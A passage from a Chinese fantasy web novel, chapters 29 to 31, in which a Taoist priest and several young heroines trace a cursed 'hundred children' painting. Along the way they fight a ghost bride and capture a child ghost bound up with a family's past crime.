相传古时,在琅嬛,妇人临盆之前都会请和尚道人做法事,因为会有魂灵投身在这即将出世的胎儿身上,和尚会手执菩提叶在产妇的房间外诵经,诵经后将菩提叶投入水中,如果菩提叶沉没水底则说明此灵罪业深重,如果浮于表面则说明乃是大德大善之人,将来必然兼济天下。道士则会准备法坛、做法事震慑前来投胎的阴灵,从门口到产妇的床前这段距离依次摆放火盆、香灰、朱砂池等物品阻挡,据说罪业轻、心怀善念的魂灵不惧刀山火海、片叶不沾身,而那些罪业深重的魑魅魍魉跨火盆时火焰会剧烈燃烧,踏香灰时会在灰烬上留下重重的脚印,最后趟过朱砂池上来,满地都是血红的脚印和掌印……
在以前许多人迷信此道,如同在做法事时遇到特别惊悚的情况,有的妇人会在其家人的劝说下堕胎,让这凶恶的讨债鬼无法顺利出生,而大多数人是舍不得打掉这个孩子的,所以还是生了下来,那么结果可想而知,这个孩子天生是学不会感恩父母的,无休止地索取、四处惹是生非,吃喝嫖赌、无恶不作,简直如同混世魔王一般,最后往往会导致一个家庭家破人亡。
不过此法虽判善恶却有违道义、泄露天机,除了一些坑蒙拐骗的江湖术士,正统的道教中人是不会轻易答应凡人的这种请求的。
在林瑶的极力劝说之下,夏老爷,也就是她舅父,放弃了善恶判而是让道士做场法事安家镇宅,毕竟夏家最近可不太平,身怀六甲的夏少夫人时常看到床底下有小孩玩具滚出来,就仿佛有孩子趴在床底玩一样。
夏少夫人现在对孩子可谓是十分恐惧了,偏偏前段日子夏老爷大寿,有人送了幅百子图,长三尺、宽两尺,素白缣绢上挤满了穿花花绿绿小肚兜、束着小发揪的光屁股小孩。
夏少夫人去给公公请安时这幅画就挂在正堂,她一起身仿佛看见那些小孩子齐刷刷朝她笑,吐出了鲜红的舌头扮鬼脸,要不是身后有丫鬟眼疾手快地扶住她,夏少夫人大概会直接栽倒在地。
儿媳妇吓得躺床上好几天水米难进,夏老爷终于着急了,连夜派人去鸢歌城请了芙蕖观的道爷,于是刚赶回去参加完祭祖大典的裴暮雪为了赚钱接单了,其小师妹慕容纤也跟了过来凑热闹。
五个人相互见过礼,林瑶等人在旁边看,裴暮雪正在夏少夫人的房间周围布置阵法,他手里拿着一个缠着一团红线的风水盘、脚下踩着七星步,走上几步就会在
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苏潋影预测不到的方位插下一根小旗子,将红线缠绕几圈,然后继续放线在房间外面踩点。
裴暮雪又一次朝苏潋影伸手:“南方离火旗。”
拿着一把小旗子的苏潋影手忙脚乱地翻找许久,裴暮雪伸出的手都举酸了,最后无奈地咽了口唾沫:“红色的。”
“哦。”
苏潋影挑了一支扎得比较漂亮的红色小旗子递给他,又看看他在前面插好的旗子们,不解道:“为什么你插的小旗子里黑色的这么多,其他颜色的就只有几根,怪不公平的,要不多插几根绿的?我比较喜欢绿色……”
没有对比就没有伤害,裴暮雪现在一点也不觉得自家小师妹烦人了,甚至想把对方叫出来给自己帮忙,但是慕容纤嫌弃他画的替身脸太丑,正在亲自执笔给夏少夫人的替身画脸。
夏少夫人早就搬到其他地方去了,现在这个房间的床上躺了一个用枕头组装的假人,枕头里放了一绺夏少夫人刚剪下来的头发,慕容纤将画好的脸贴在枕头上满意地拍拍手上并不存在的灰尘,双手叉腰看向林瑶:“怎么样,还不错吧?毕竟也是得了我大师兄真传。”
林瑶看着那张人脸画不知该作何感想,裴暮雪画了两个圈在里面点了两个点代表眼睛,一个三角形下面连两个圈代表鼻子,正下方一条上扬的弧线代表嘴巴,左右是两个对称的数字3代表耳朵,当时林瑶一眨眼裴暮雪已经画完了,慕容纤抢过去加工一番,丑得惊天地泣鬼神的人脸画多了粉色的眼影和血淋淋的血盆大口以及两坨腮红……
你大师兄独孤叶晴,书画双绝的鸢歌城第一才子,就是这么教你的?
裴暮雪布置完了艮土阵迈入房间,手里拿了一幅卷轴铺在桌子上打开,正是那幅百子图,穿着花花绿绿小肚兜的孩童几乎是挤在一起,大大小小估计真的有一百个,手脚密密麻麻的交错重叠在一起,一晃眼让人觉得有些孩子缺胳膊少腿,而有些又是三头六臂。
裴暮雪两指悬空虚抚着这幅画,眸中露出一丝不易察觉的厌恶之色,几乎是自言自语道:“如果说作画之人是心思歹毒,那么赠画之人就算包藏祸心了。”
苏潋影从旁边探出脑袋,认认真真打量这幅画,她听见了裴暮雪的喃喃自语,侧头问道:“要去调查一下这个赠画之人吗?”
裴暮雪将画拿了起来,伸手挂在了西墙上,他身高近八尺,抬手几乎能摸到头顶的横梁,苏潋影默默放下了搬起来的小凳子。
裴暮雪回首接上她前面的话茬:“调查赠画之人么……那是额外的价钱,夏员外只给了做法事的钱。”
他认认真真凝眉细想,后背让慕容纤重重拍了一巴掌:“好啊你二师兄,师父说过帮人帮到底送佛送到西,你又打算中途当甩手掌柜了是不是?”
裴暮雪连忙绕到圆桌另一侧躲避小师妹的无情铁手,赔笑道:“我也没说不管啊,那小师妹你就自个儿去调查吧,咱们兵分两路,我守着夏宅,你去查赠画之人,怎么样?”
一旁的楚纤茉看了许久,总觉得这对师兄妹有点奇怪,谁家师兄会把师妹派出去干活自己坐享其成啊?
她忍不住开口道:“慕容姑娘一个人会遇到危险吧……”
裴暮雪看了看屋子里一圈人,奇怪道;“谁说她是一个人了,这不还有你们这些侠肝义胆的好姐妹嘛,去吧去吧正义的姑娘们,先去前厅找夏老爷,顺藤摸瓜一定能有所收获,我等你们的好消息。”
于是林瑶去了夏少夫人临时休息的房间照顾她,其余三人被裴暮雪忽悠去查案了,他本人坐下来轻抿着茶水,惬意地摇摇头:“世界终于清净了。”
29. 这瓜,好长的藤!
苏潋影等人先去了前厅找夏老爷问起百子图的事儿,谁知这老爷子还是个健忘症,根本不知道是谁送的,三人又去找管家核对送礼清单。
自夏府出来后,几人面面相觑。
慕容纤道:“送百子图的总共三人,城南的李老爷、城西的王员外,还有城北的张老板,而夏员外悬挂的那幅百子图恰巧是张老板送的,现在直接去找他恐怕不太妥当。”
苏潋影凝眉细思一阵,忽然之间一拍手:“哈,我有办法了,就说他前几天送出去的画经鉴定是前朝茗嫣公主真迹,我们几人呢都是宫廷画师,现在请他去当面确认一下。”
楚纤茉面带犹豫:“这样真的可以嘛?不会被轰出来吗?”
苏潋影一拍身边的慕容纤:“先礼后兵,等会儿我要是跟那张老板说不通,纤纤你就进去给他叮咣一顿揍,我不信他不老实交代。”
慕容纤抱着长剑立在一边,对狗头军师的话居然也深表赞同,一扬手表示自己没问题:“打架什么的我最擅长了。”
然后几人边打听边走,不多久摸到了张老板家里,慕容纤、楚纤茉在外面等着,苏潋影背着手迈大步就进去了,见到张老板拱手就道喜。
张老板手里正盘着两颗玉珠,听到这话小眼珠骨碌碌一转,笑起来见牙不见眼:“不知老夫喜从何来呢?”
苏潋影娓娓道来:“张老板有所不知啊,前几日夏老爷寿辰,您送了一幅百子图过去,本是好意不料这画却给夏家惹了大祸——”
话没说完只见张老板一张乐呵呵的财神脸顿时垮了下来,吹胡子瞪眼:“听姑娘这意思,是老夫蓄意谋害夏家不成?”
苏潋影一卡壳:“不是,我——”
“管家,送客!以后不许再放闲杂人等进来!”
砰——
苏潋影站在张府紧闭的大门外吹着小凉风,头顶飘过去一串省略号。
“话都不让人说完就关门送客,这都什么素质!我说是你干的了吗?这么着急撵人你是不是心虚啊!”
慕容纤、楚纤茉一左一右将气急败坏站在门口骂大街的苏潋影拖进了小巷子。
苏潋影蹲在地上薅头发,慕容纤抱着长剑走来走去似乎也有点无计可施,本来好好的,但让苏潋影这么一捣乱张老板直接拒绝沟通了。
苏潋影抬头瞪着还在踱步的慕容纤,气呼呼道:“说好了先礼后兵,你怎么放我鸽子啊,你抱这么长一把剑当玩具使啊,进去吓唬吓唬他也好啊。”
呵,我又不傻,打人的活让我上,万一把自家门派的名声搞臭了,我师父能抽死我你信不信?
慕容纤低咳两声,正色道:“其实也不是完全无计可施,张老板生意人嘛,无利不起早,去周边打听一下他的喜好,买点东西上门道个歉这事儿也就过去了,俗话说得好,吃人嘴软、拿人手短,收了你礼物总不会再撵你出来吧?”
去周边一走访才知道这张老板人品有多次,贪小便宜卖假货,缺斤少两那都是家常便饭,还抠的要命,瓷公鸡铁仙鹤玻璃耗子琉璃猫,那是一毛不拔,出门只要不坑别人就觉得是自己吃亏上当了,三个儿子个顶个让他撵出去自力更生了。
苏潋影忍不住又开启了嘴炮模式:“就这玩意儿还舍得给别人送寿礼?我现在都怀疑那幅百子图是他自个画的,还吹什么大家手笔,鬼知道哪个地摊上淘的便宜货。”
楚纤茉听她这么说似乎也想起了什么:“苏苏你这么一说我也想起来了,的确,这些东西在地摊上买很便宜的,因为都是二手货和赝品,所以通常十文钱能买三件。”
苏潋影听得只翻白眼:“还十文钱三件,搞批发呢?你说这张老板还是个人?”
吐槽归吐槽,三人还是来到了天桥底下找线索,那小地摊从桥上摆到了桥下,卖葱的卖蒜的、卖米的卖面的、卖鸡毛掸子卖掏耳勺的……打眼一望人头攒动,讨价还价的声音简直能把耳朵震聋了,踩着桥底的烂泥沿河道往前走,提着裙摆还是沾到了臭塘泥,鞋子更是脏得丢地上就能卖废品。
苏潋影这辈子就没受过这个苦,说好了万花丛中过片叶不沾身呢?哪家女侠是这么出场的?我现在好像一只跳进泥塘里的粉红色儿吹风机……
好不容易找到了几个卖字画的小摊子,挨个儿问吧,鉴于上次吃过人情世故的亏,这回大家都长记性了,打听线索的时候要顺便跟摊主买点东西,于是小半个时辰后,苏潋影抱着全套十本的《花自飘零水自流》砖头那么厚的实体书,脑袋发晕钱包空空地回来集合了。
“说出来你们可能不信,我好像被老板下降头了,等醒过神来已经结账了,还说等出续集了一定给我留下作者亲签还送货上门。”
慕容纤和楚纤茉也没好到哪儿去,一个拿了幅梅花图,一个拿了本中草药入门包教包会……
慕容纤无语至极,但也算得到了有用情报:“刚才卖字画的老板说了,前几天张老板的确从隔壁王秀才的母亲那儿买了幅百子图,因为便宜。还有就是,王家出事儿了,王秀才谋害知县千金下了大牢,听说证据确凿,不久就要问斩了,这会儿我打算去城南王秀才家里看看。”
苏潋影听得脸色苍白:“这案子是越来越有盼头了,走吧走吧,今天就是跑腿的命,但愿真相能早点浮出水面。”
王秀才家里破破烂烂,栅栏门歪歪扭扭拿绳子系着,围墙要倒不倒拿几根木棍支着,院子里晾着几十本旧书,字画铺开在地上拿石头压着。
“有人吗?王大娘在家吗?”
苏潋影扯着嗓子喊,不敢敲门,害怕敲塌了没地方说理去。
里面的老太太拄着拐杖颤颤巍巍出来了,给几人开了门,慕容纤客套了几句便问起了那幅百子图的事情。
王大娘摇摇头,她发髻松散,面容憔悴,瘦得仿佛一捆柴火:“我也不清楚啊,冰儿这些画有些是他自个儿画的,也有从别人手里买的,卖给你们的画有什么问题吗?”
老太太不自然地两手搅着衣襟,显然是把苏潋影等人当成了上门找事的主顾。
慕容纤摇摇头,扶着老人到旁边的石凳上坐下,微笑着道:“您别着急,既然这画都是您儿子的,我们想着去见见他,当面问清楚这画的来龙去脉,还请您带我们去一趟府衙。”
慕容纤拿了一些散碎银子塞到了王大娘手里,老太太千恩万谢带着三人去了府衙,亲属是有探监权的,慕容纤等人冒充是王秀才的亲戚,顺利混入了府衙大牢。
王秀才,姓王名冰字子澈,父亲早亡,母亲抚养他长大,王冰勤奋好学,发奋图强,平时靠卖一些字画维持家计,十七岁考中了秀才家境才得以好转,知县看此人大有前途,于是将独生女儿嫁给了他,却不知为何,半个月前知县千金的死因忽然被推翻,原本以为是流产大出血致死,谁知居然是王冰给妻子下了堕胎药,王冰也是供认不讳,于是被收押准备秋后问斩。
慕容纤看着一见面扶着铁栏痛哭不止的王冰母子,只觉得匪夷所思,王冰虽然考中了秀才,但家境贫寒往后再往上爬只能继续寒窗苦读,知县看中了他,那么他一朝成为人上人,前途无量,说不定借岳父的势力以后还能平步青云,怎么就沦落为杀人犯了?
好容易打发走了肝肠寸断的王大娘,慕容纤凑到铁栅栏前,蹲下身跟蓬头垢面的王冰说话。
这人现在虽然衣衫褴褛、邋里邋遢,但看得出五官周正,收拾收拾定也能担得起一表人才这个词。
慕容纤半蹲在铁栅栏外面,轻声道:“我们此来不是为了问你谋害你妻子一事,而是想问你,你的画里有一幅百子图,究竟是何来历?”
王冰听闻此言眸中有怒火迸溅,几乎是咬牙切齿道:“那个毒妇不是我的妻子!”
站在慕容纤身后的楚纤茉被这突如其来的一声怒吼吓得倒退一步,慕容纤倒是八风不动,依旧抓着主题:“杀人偿命、欠债还钱,你们之间的恩怨与我无关,我想知道那幅百子图你从何而来?”
王冰沉默半晌,垂首不语,将脑袋埋进膝盖里,半晌才缓缓抬起头来,嗓音干涩道:“是我画的……”
“撒谎!”
慕容纤直视着他的眼睛,神色冰冷道:“既然是你画的,为什么不一开始就承认?你想包庇这个作画之人,这么说来,画百子图的这个人的确是心怀不轨了?”
“没有!”王冰瞬间直起了身子,矢口否认,最后看着慕容纤冰冷的眼神又萎顿下去,长长地舒了一口气,摊开掌心,手里握了一朵干瘪的梅花,他叹气,眼眸湿润了起来。
“月娜她,的确非同常人,但她绝无害人之心……”
慕容纤等人面面相觑,王冰自顾自地讲了下去,她们三人谁也没有打断。
……
等从府衙大牢出来,天已经快黑了,三个人几乎都是表情凝重,不约而同往城南王冰家里去,原本老旧的房屋看起来更加破败了,屋子里没有灯、院子里却还摆着字画,厨房门吱呀一声打开了,一个老太太颤颤巍巍从里面出来,手里还夹着两个发霉的窝头,仿佛没看见她们似的,走到门口笑着招呼道:“冰儿回来了,快洗洗手准备吃晚饭,娘给你蒸了窝头,冰儿最喜欢吃窝头了……”
老太太说完又转身,迈着小脚往正屋里走,仿佛前面真的走着她的儿子。
慕容纤等人跟着老太太走了进去,正屋结满了蜘蛛网,灰尘很厚,显然已经许久没有住人了。
“这屋子里好黑啊,连个灯都没有吗?我们怎么找那幅古画?”
楚纤茉的声音从黑暗里传来。
“无妨,等我贴张离火符。”
慕容纤刚拿出离火符的一刹那苏潋影忽然惊叫一声,她指着敞开的窗户:“刚才有人过去了,不是那个老太太!”
楚纤茉吓得紧紧抱住了苏潋影的胳膊,根本不敢往窗户那边看,几乎将脸埋进了苏潋影怀里,颤声道:“是月娜吗?”
慕容纤念动咒语,发现离火符着不起来了,她心里咯噔一声也是吓出了一脑门的汗:“不对,快离开这间屋子!”
可是已经来不及了,房门忽然被一阵阴风吹得闭合起来,窗户也关上了
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。
能直接阻止她燃符,对方的实力不容小觑,今晚恐怕有场硬仗要打。
三个人背靠背站着,警惕地看着四周的一片黑暗,寂静无声的荒废院落里,传来了女人幽幽的叹息声。
慕容纤几乎是眨眼间长剑出鞘,厉声喝道:“鬼鬼祟祟,有本事出来!”
苏潋影也甩出了长鞭,另一只手紧紧牵着楚纤茉。
那似叹似笑的声音忽远忽近,一会儿仿佛在院子里,一会儿又在屋子里飘荡,下一秒在她们三人的头顶!
慕容纤反应极快,一把推开了身后的苏潋影和楚纤茉,挥剑向上空斜劈过去,剑刃仿佛撞到了极其坚硬的东西,居然不能再往前一寸,被死死卡住了,雪亮的剑刃反射到月光,慕容纤看到剑刃上映着一片血红的双喜字盖头。
而下一刻,红盖头在剑刃表面渐渐扭曲变形,不,不是盖头变形了,是她的剑被一只白骨森森的手生生扭成了一段卷曲的废铁……
“跑!”
慌乱之中不知谁喊了一声,三个人齐齐往禁闭的房门那边跑,慕容纤松开手舍弃了报废的长剑,下一秒那把剑被黑暗中的女鬼甩过来差点将三人串成糖葫芦,幸亏苏潋影还有兵器在手,一鞭子抽开了飞过来的凶器,算是暂时保住狗命,现在就是争分夺秒的时刻了,顺利打开房门还有一线生机,不然明天就是她们仨的死讯传开的日子,这地方连死五人也算是凶宅了。
越急越是打不开房门,楚纤茉也不知道女鬼哪来的锁,给房间从里面锁上了,拿小刀别不开、发簪也捅不开,现在就剩苏潋影还有战斗力,跟女鬼缠斗在一起,慕容纤在苏潋影的掩护下到处在房间里找钥匙,眼见苏潋影都快让女鬼逼到墙角了,慕容纤急出了一头汗,忽然一阵阴风吹来,哐当一声,挂在西墙上的画和藏在画卷后面的钥匙一起掉了下来。
慕容纤眼前一亮,几乎是几步之间飞速跑过去弯腰去捡,她刚伸出手,忽然感觉一阵刺骨寒意窜上手背,一只小巧玲珑的鸳鸯红绣鞋踩住了钥匙,红裙无风自动,轻飘飘的仿佛纸张,空气凝结了,三人谁也不敢动,屋子里只剩下急促的呼吸声。
慕容纤感觉头顶吹来一股阴冷的风,似乎是一只手正在缓缓朝她头顶压下,就在女鬼的白骨爪快要碰到慕容纤的头顶时,一道鞭影卷着一面火红的旗子精准地打到了女鬼的那只手,刹那之间火焰四起,差点烧到慕容纤的头发,女鬼被裴暮雪绘制的离火旗烧得退后一步,发出了尖利的嘶吼声,慕容纤抓住这个空隙一记扫堂腿将地上的钥匙踢给了苏潋影。
但这面离火旗跟阵法显然没法比,不消片刻女鬼就脱离了束缚,一条袖子被火焰烧成灰烬,裸露出来的手臂也是森森白骨,在女鬼再次追上来前,苏潋影终于打开了房门,外面月色如水,房间里霎时间光线一亮,她们终于看清了女鬼的全貌,那是一个穿着火红嫁衣的新娘子,盖着金丝喜帕,身上贴着各种样式的黄符纸,此时她那条裸露在外的白骨手臂上源源不断地冒出黑烟,青黑色的指甲似乎又长长了一寸,显然是被激怒了。
苏潋影、楚纤茉都在门口容易逃出去,但在里面捡钥匙的慕容纤就难说,三两步的距离很容易让鬼新娘追上,苏潋影一咬牙甩出鞭子缠住了慕容纤的腰打算将她拽出来,慕容纤也会意,打算借力逃出房间,但还是慢了一步,鬼新娘再次扑了上来,十指如钩狠狠抓向了慕容纤的后脑勺,慕容纤只感觉顺着后脖领窜上一股凉意,仿佛是有人狠狠将她向前推了一把,苏潋影拼命往前拽鞭子,前后夹击慕容纤几乎是飞出了屋子。
三人根本不敢稍作停留,玩了命地往夏府跑,已经戌时了,街上基本没什么人,唯有三个刚逃过一劫的小朋友正以狗撵腚的速度向夏府冲刺,那鬼新娘就跟疯狗一样在后面追,让她逮到后果可想而知……
起先守在夏少夫人房里的裴暮雪还以为是厉鬼拍门呢,因为夏府的人这会儿都在屋里眯着,听了他的话压根没人敢出来,没想到打开大门见到三根软面条状的东西齐刷刷瘫软在地,个个汗流浃背宛如三条凉拌死狗,其中一个伸出颤抖的手拽住了他的道袍衣摆,抬起苍白的脸气若游丝:“后面……后面有个……”
见此情形,裴暮雪作为某人的亲师兄,按捺许久还是没有压住上扬的嘴角,毫不留情地大声嘲笑:“这不是我那天不怕地不怕的小师妹吗?怎么让区区一个鬼新娘撵得跟三孙子似的?”
慕容纤费力地爬起来,好不容易喘匀了,气不打一处来:“什么叫区区一个鬼新娘?我那紫霄剑让她徒手拧成麻花了,你行你上!”
裴暮雪大模大样站在夏府大门口,勾勾手招呼距离他们十几步开外的鬼新娘,跟叫狗一样:“来来来,道爷跟你过两招。”
然后就见那鬼新娘红影一闪,就那么干脆利落地……消失了。
裴暮雪无奈地叹口气,似乎很是遗憾,转头看向慕容纤,摊开两手:“我起手式都摆好了,人家姑娘不给面子啊。”
慕容纤气得五官挪移,忽然裴暮雪神色一凛,转身就往西厢房跑,普通人只能看见一道残影。
30. 拿人钱财,与人消灾
苏潋影和楚纤茉已经累瘫了,手脚并用爬进了院子里有出气没进气,短期指望不上她们能帮忙了。
虽然那人比她这二把刀厉害了不止一个境界,但慕容纤到底还是担心缺德师兄的,咬牙赶到西厢房时,看到了满屋子都是穿得花花绿绿的小孩子,个个小脸白得发青,但脸上擦了一层红彤彤的胭脂,围着裴暮雪上蹿下跳却不敢触碰他。
裴暮雪一眼扫过去冷笑道:“哟,才八十八个啊。”
慕容纤虽然有点膈应这些小鬼,还是问:“要把剩下的十二个找出来吗?”
裴暮雪一摆手:“不,找孩儿王,应该是八岁左右。”
这些穿着青红皂白黑的五福小鬼个个只有三岁孩童大小,孩儿王要比它们大五岁,怪不得能当小霸王。
可是慕容纤在屏风后,抽屉里,柜子里反复找,被藏在里面突然冒出来的小孩吓得不轻,却始终没能找到孩儿王。
她累得香汗淋漓,刚想坐下歇歇,猛地一抬头就看见房梁上坐着一个黑影,两只穿着寿鞋的小脚晃来晃去,像小孩荡秋千一样惬意,一张惨白的脸正凝视着下方。
“啊!它在上面!”慕容纤惊叫一声。
孩儿王跳了下来:“真是两个笨蛋!这么久才找到我。”
裴暮雪冷笑道:“最后一次怎能不让你玩得尽兴?如愿以偿了就上路吧。”
孩儿王胆寒于他手里白光乍现的拂尘,悄悄退后几步,裴暮雪看在眼里不觉冷笑。
“臭道士!我当我的孩儿王碍着你什么了?”
裴暮雪:“小鬼头,还敢狡辩?你藏在这百子图中意欲何为?少夫人即将生产,你想鸠占鹊巢对也不对?”
“证据呢!”
裴暮雪广袖一抖,用两指夹住了一张轻飘飘的小纸片,上面写着一个日期,元殇年八月十五日子时一刻。纸片的形状是一个张牙舞爪、黑乎乎的鬼娃娃,张着血盆大口,令人毛骨悚然。
孩儿王拔腿就要跑,裴暮雪一拂尘扫过去绊倒了它,右脚踩在了它背上,孩儿王发出一声惨叫,原来裴暮雪的登云靴上绣满了咒文,此时靴底与孩儿王接触的部分正发出淡淡的白光。
裴暮雪的斩煞刀已经斜在了孩儿王扎着两个小圆髻的脑袋旁。
孩儿王两只小手乱扑腾着,死到临头知道求饶了,一改之前缺乏家教的嚣张样:“道长哥哥!放过我吧!我知道错了!”
裴暮雪嗤笑一声:“我还是喜欢你叫我‘臭道士’时那桀骜不驯的模样。”
斩煞刀已经缓缓提了起来,就听一女子声音尖锐道:“裴道长不可!”
一道人影闪身进了厢房。
裴暮雪定睛一看原来是林瑶,颇有些意外道:“不知林姑娘深夜到此有何贵干。”
孩儿王看着眼前的白衣女子眼珠子咕噜噜转了几圈终于想起来了:“表姐!表姐救我!”
裴暮雪冷眼旁观。
林瑶顾不上去看孩儿王,急切向手持利器的裴暮雪解释道:“他叫夏明钰,是我的表弟,八年前被人所害抛尸枯井,如今恰逢那人临产,他自是想要为自己报仇的,裴道长,还望你手下留情,看在我的薄面上放他一马。”
裴暮雪的斩煞刀依旧钉在地上,人也是似笑非笑道:“林姑娘,若是他活着想怎样我都管不着,但是身为阴灵想害活人性命,而且还是两条人命,这我可不得不管。”
林瑶急了:“裴道长!”
裴暮雪打断她道:“裴某不怕芙蕖观与你星辰宫交恶,夏少夫人作恶多端,待她百年之后自有冥界例律惩治,或者姑娘现在就可以去官府告她。至于这阴童,裴某既然接了这活儿就会负责到底。”
眼看斩煞刀就要落下,郁霄忽然进来了,将一包东西扔了过来,裴暮雪用刀鞘接住了,那是一个贴着符咒的宝蓝色乾坤袋。
“六界通宝?宴世子居然舍得一掷千金从我手中买这阴童的小命?”裴暮雪看着那鼓鼓囊囊的荷包微微一挑眉。
“嫌少?”一身蓝袍的郁霄长身玉立,站在林瑶侧后方,一副有恃无恐的模样。身为凤城世子自然无视这些身外之物,但这可是裴暮雪再过六十年也挣不来的飞来横财。
裴暮雪见好就收,呵呵笑道:“成交!”
然后转头扔给慕容纤一句:“纤纤,把夏家的买命钱退了,撤。”
慕容纤白眼差点翻到天上去了,为师兄没有下限的节操所折服,不过事情既然另有隐情她也不好再插手,随着裴暮雪一起离开了。
郁霄用不屑的目光看着离去的那道玄衣身影,到底是名门贵族出身,一句讽刺的话也没说,反而是走上前去轻声安抚着林瑶:“林姑娘,逝者已矣,错并不在你,你想开一些。”
林瑶刚想去看孩儿王,它一个鲤鱼打挺翻起来就跑,只余一道黑色残影扭过头冲她吐舌头:“表姐!我可不想束手束脚地待在你身边,再见咯!”
林瑶刚抬起手孩儿王就恶狠狠道:“怎么,你还想打我吗?来呀来呀,最好打得我魂飞魄散,我看你死后怎么跟我阿娘交待!”
狡猾的孩儿王趁林瑶失神忽一下就不见了。
本来郁霄是想动手的,可是见林瑶失魂落魄的模样又作罢了:“林姑娘,你还好吗?”
林瑶点点头,将一个令牌递向郁霄。
郁霄惊疑不定:“通行玉令?你这是做什么?”
林瑶木木道:“烦请你替我交还国师吧,我决意退出星辰宫。”
郁霄不可置信地看向夏明钰逃跑的方向:“为了他?”
林瑶苦笑道:“我不能看着他胡作非为,万一又被别的仙友抓到……”
郁霄目露哀戚:“护着一个狡诈的阴童子,你会身败名裂的……”
林瑶转身看着他,轻轻摇摇头,一双美目清泪粼粼:“纵使如此,我也认了,这些年里我总是会想起明钰,若当年我能护住他该有多好啊……时至今日,是我该尽的责任,后会有期。”
他站在原地看着那道白衣身影渐行渐远融入夜色之中,目光渐渐晦暗下来。
一招手,自暗处闪出一个幽灵般的燕卫恭敬垂首施礼:“殿下!”
“拿着我的玉印去鬼市发道悬赏,要办得干净利索。”
翌日。
苏潋影把紧紧缠在自己身上的楚纤茉叫醒了。
楚纤茉做了一晚上噩梦,醒来还有点神情恍惚:“怎么呢苏苏?”
苏潋影正咬着发带束发,含糊不清道:“去王家老宅把古画捡回来。”
楚纤茉愣了一下,随即反应过来当时就清醒了,欲哭无泪道:“苏苏,要不就算了吧,万一那个女鬼还在老宅里怎么办?”
苏潋影已经扎好了头发,顺手把梳子递给楚纤茉,坐在床边拿着一面小镜子左瞧瞧右看看,拨弄一下刘海儿美得不行,她这个喜欢照镜子的毛病算是顽疾了,只要能反光的东西都喜欢去照照,包括但不限于:水池子、玻璃窗、金属表面、甚至是别人的眼珠子……
某次在路上走着,一阵大风刮过,苏潋影按着楚纤茉的肩膀一脸严肃道:“别动,对,就这样,保持住别眨眼,我看看我发型乱了没……”
四个字形容就是丧心病狂!
姐们自恋到恨不得抱着镜子睡,对着自己水里的倒影能聊半天,甚至吃饭都要对着镜子一小口一小口地吃,被爹妈骂得狗血淋头这情况才有所好转。
楚纤茉已经收拾好了,苏潋
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影终于舍得放下小镜子,站起身拍拍她的肩膀道:“走了,大白天的你怕啥,实在不行我去借条黑狗给咱俩壮壮胆?”
楚纤茉疯狂摇头,对于她来说,某种程度上狗跟鬼也没什么区别。
楚纤茉磨磨蹭蹭,最后还是被苏潋影拽出了夏府,林瑶已经离开了,她俩也没有留下的必要了。
“慕容姑娘呢?”楚纤茉问道。
苏潋影脚步轻快、走走停停,一会儿跳起来够墙头垂下的粉蔷薇,一会儿逗逗别人家看门的狗,简直没一刻是安分的。
“跟裴道长一起回鸢歌了,瑶瑶姐好像也有事,世子貌似回凤城了,所以啊,现在这个重任只能落在我俩身上了。”
楚纤茉忽然记起来好久不见白洛溪了,连忙询问。
苏潋影食指勾着垂落胸前的一绺头发绕圈圈:“小白这两天一直在妒妇津守着呢,万一再有人落水他也好抓住幕后黑手,咱这就叫做双管齐下啥事都不耽误。”
说话间已经来到了阴气森森的王家老宅,现在这宅子的模样已经完全不是她们昨天白天见到的模样了,破败不堪、灰尘遍布,仿佛已经好几个月不曾住人了,残破的书页、字画挂在篱笆墙上,栅栏门轻轻一推啪一下倒在了地上,激起厚厚的尘土,苏潋影连忙跳到后面拿手帕包住头,等灰尘散去才进院子。
轻车熟路地到了正屋,房间里还保留着昨晚激烈的打斗痕迹,苏潋影捡起了地上半卷着的画卷,缓缓打开,卷面上是一树梅花,瑞雪覆盖遒劲的枝干,丹纱吐蕊、傲雪欺霜,白雪茫茫的原野上隐隐约约有一道红衣女子的单薄背影……
而楚纤茉却在地上发现了几粒碎银子,以及一滩乌黑的血迹,她们三人昨晚并没有在老房子里受伤,这血迹又是谁的?
苏潋影拉着她的手往外面走去:“快到午时了,王冰今天斩首,我们把这幅画带给他吧。”
刑场人头攒动,围得里三圈外三圈水泄不通,台上左右立着刽子手,中间跪着囚犯王冰,对面监斩台上面目阴沉的知县紧紧盯着沙漏,似乎恨不得立即将王冰处死。
王冰的脸上没有一丝惧怕,却时不时望向人群,似乎在等什么人。
第三声追魂炮响,右边的刽子手动作娴熟地摘下了他身后的亡命牌掷在地上,王冰闭上了双眼,脸上露出一丝遗憾。
就在这时人群一阵骚动,有衙役大喊着“有人劫法场了!”
王冰猛然睁开眼睛,一卷画轴被人抛到了他面前,正好打开,画上的红衣女子映入他眼帘,鲜活得仿佛那年初见,他嘴角勾起了一抹笑意。
“斩!”知县甚至不顾法场上忽然闯入的不速之客,扔下了火签令,他对这个害死自己女儿的凶手恨之入骨,若不是朝廷律法在上,半个月前他就想将这个畜生千刀万剐了。
下一刻,古画上朵朵红梅绽开,王冰人头落地。
苏潋影见事情完结,拉着楚纤茉猫腰就往人群里钻,一队衙役正好拦在面前,凶神恶煞道:“站住,例行检查,刚才有人企图劫法场!”
苏潋影装得跟大瓣蒜一样,两手捂着嘴巴慌乱看看左右:“啊,那我会有危险吗?”
这个衙役旁边有个同伴顶了下他的肩膀,笑得痞里痞气:“跟两个小姑娘浪费时间干嘛?这浓眉大眼的能干出违法乱纪的事吗?”
苏潋影赞同地点点头,下一秒就让那个凶巴巴的衙役拽脖领子给拎起来了。
“别以为我眼神不好使,上次就是你来探监的,今天那画也是你丢出去的,有什么话回去跟知县大人解释吧!”
不是,就这么个小破地方哪来的黑猫警长啊?
得亏我后台够硬,蹲了半天的橘子,郁霄世子就来领人了。
31. 古画
王冰是个贫穷的小伙子,长相不是特别出众,每天早出晚归,经营着自己那小小的书画摊,不论酷暑严寒都着一身青衫,那衣服是冠礼时咬牙做的,陪伴了他无数岁月,如今磨损得特别厉害,外面的褂子磨坏了,母亲就拆拆补补,把里面的好料子换到外面。
有一天他冒雨回家,一个人叫住了他。
公子,看看画吗?
唉,我连吃饭的钱都快没了,眼看下个月又揭不开锅了,哪有闲钱买画?
公子,看看吧,三文钱一幅,很便宜的!
王冰看着那老婆婆,年迈苍苍,缩在一把旧伞下面,两鬓如霜沾着露珠般的雨点,像只可怜的老猫,在萧索的秋雨中瑟瑟发抖……
也罢。
他叹了口气,买了一幅画,甚至没看是什么内容,拿衣襟裹了裹夹在腋下,匆匆离去。
